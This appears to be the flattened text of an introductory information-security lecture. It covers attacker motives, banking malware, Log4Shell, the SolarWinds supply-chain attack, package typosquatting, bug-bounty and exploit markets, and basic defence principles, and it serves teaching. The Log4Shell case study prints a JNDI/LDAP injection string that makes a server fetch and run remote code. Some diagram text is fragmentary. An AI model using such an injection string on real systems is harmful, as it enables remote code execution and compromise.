For starters
The information security problem
Lots of bugs
Social engineering is very effective
Profiting from vulnerability discovery and exploitation
1. The market for exploits is expanding
2. Malware marketplace (after compromise)
3. Strong economic and political motivation to use both
The current state of information security
"Top products" by total number of "different" vulnerabilities in 2023
Source: [Link]
Exploiting vulnerable applications
Source: Kaspersky Security Bulletin
2023
A global problem
Top 10 countries by percentage of users attacked:
Source: Kaspersky Security Bulletin 2023
What motivates attackers?
Why take over a device: theft of credentials (and other
sensitive data)
Interception: bank passwords, company passwords, etc.
Example: SilentBanker (and many others like it)
User requests login page
Malware injecting The bank sends the
Javascript application page
required for the Bank
When a user submits application
data, it is also sent to the
attacker. Similar mechanism used
used by e.g. zBot and others
In-Browser Attacker (AITB)
Lots of financial malware
• Recording bank passwords
• spread via spam emails and
compromised websites
• maintains access to your
computer (backdoor)
Source:Kaspersky Security Bulletin 2021
Why take over a device: take over the IP address and
bandwidth
Attacker's goal: to look like a random internet user
Use the IP address of the infected computer or phone to:
Spam (e.g. Storm botnet)
Spamalytics: 1:12M pharmaceutical spam leads to purchase
Denial of service attacks
click fraud (e.g. Clickbot.a)
Why take over a device: ransomware
Source:Kaspersky Security Bulletin 2023
WannaCry
Why take over a device: mining
# affected users
Examples:
1. [Link]
2. [Link]
3. [Link].m
4. [Link]
Source: Kaspersky Security Bulletin 2021
Why take over a device: infiltration of protected systems
Example: stuxtnet
Infecting Windows systems ⇒
Siemens SCADA control line equipment on
Windows platform ⇒
Siemens device controller on an isolated network
Attacks on servers - why?
(1) Data theft: credit card numbers, intellectual property
Example: impact on data on 143 million "customers": Equifax (July 2017)
Exploited known vulnerability in Apache Struts (RCE)
Many similar attacks since 2000
(2) Political motivation:
Elections: attack on the DNC (2015),
Attacks in Ukraine (2014: elections, 2015,2016: power grid, 2017: NotPetya, ... )
(3) Infect users who visit
Case Study 1: Log4Shell (2021)
Log4j: the popular logging framework for Java
21 November: Log4j 2 vulnerability allows remote code execution
More than 7000 code repositories and many Java projects are affected
Error: log4j can load and run code to process log request
The Invader Victim
a message containing: ${jndi:ldap://[Link]}
[Link]("... ${jndi:ldap://[Link]}...")
LDAP query and then HTTP GET
Malicious Java code Code
execution
Result
How has this been exploited?
• Khonsari Ransomware
• XMRIG Cryptominer
• Orcus Remote Access Trojan Horse
How to prevent such problems?
• Isolation: the log4j library in the sandbox or the whole application in the sandbox
Case Study 2: SolarWinds Orion (2020)
SolarWinds Orion: a set of monitoring tools used by many
organisations.
one infected DLL
What happened? [Link] Orion
Page 1
SolarWinds
⋮
Sunburst
malware Orion Orion
Party 18000
software
update
Attack (February 2020): an attacker "corrupts" the SolarWinds software update process
A large number of infected organisations ... were not detected by December 2020.
The consequences ...
A large number of organisations and government systems have been exposed for
months
In general: supply-chain attack
a software or hardware supplier or service is compromised
⟹ many clients at risk
There have been many examples of this in the past (e.g. Target 2013, ... ).
Case study 3: typo squatting
Usage: python -m pip install 'SomePackage>=2.3' # specify min version
It is installed by default from PyPI:
Python Package Index (at [Link])
PyPI hosts more than 300,000 projects
Security aspects: dependencies
Every package you install creates a dependency:
• The package maintainer can enter code into your environment.
• Attack on the supply chain:
attacking the package maintainer ⟹ compromising dependent projects
Many examples:
[Link]
Vulnerability market
Option 1: Vulnerability reward schemes
Google Vulnerability Rewards Programme: up to USD 31,337
Microsoft Rewards Programme: up to $100,000
Apple Bug Bounty: up to $200k
Stanford Bug Bounty Programme: up to $1,000
Pwn2Own Competition: $15K
Option 2:
Zerodium: up to $2 million for iOS, $2.5 million for Android
(2019)
... many others
Google's bug bounty programme
bug bounty programme
[Link]
Vulnerability market
RCE: remote code execution
LPE: local increase in privileges
SBX: Escape from the sandbox
Source:Zerodium payouts
Vulnerability market
RCE: remote code execution
LPE: local increase in privileges
SBX: Escape from the sandbox
Source:Zerodium payouts
Why buy 0day?
[Link]
Facts about security
information system security is only as good as the weakest link
security is linked to restricting access to the information system
security slows down the organisation
security requires the involvement of human resources
security incurs additional costs
The attacker always has the advantage
DEFENCE ATTACKER
Defend all points choose the weakest link
defence against known new ways of attacking...
attacks
constantly on the lookout an attack can be carried out at any time
following the rules no rules - "dirty play"
Objectives / tasks
CIA Trinity
Confidentiality
Integrity
Authentication
Authorisation
Access control
Non-repudiation
Availability
Methods of defence
The principle of adequate protection:
Computer "parts" should only be protected for as long as they have value.
The level of protection must be proportional to their value.
The principle of the effectiveness of protection:
Protection must be applied to be effective.
The protection must be effective, easy to use and appropriate.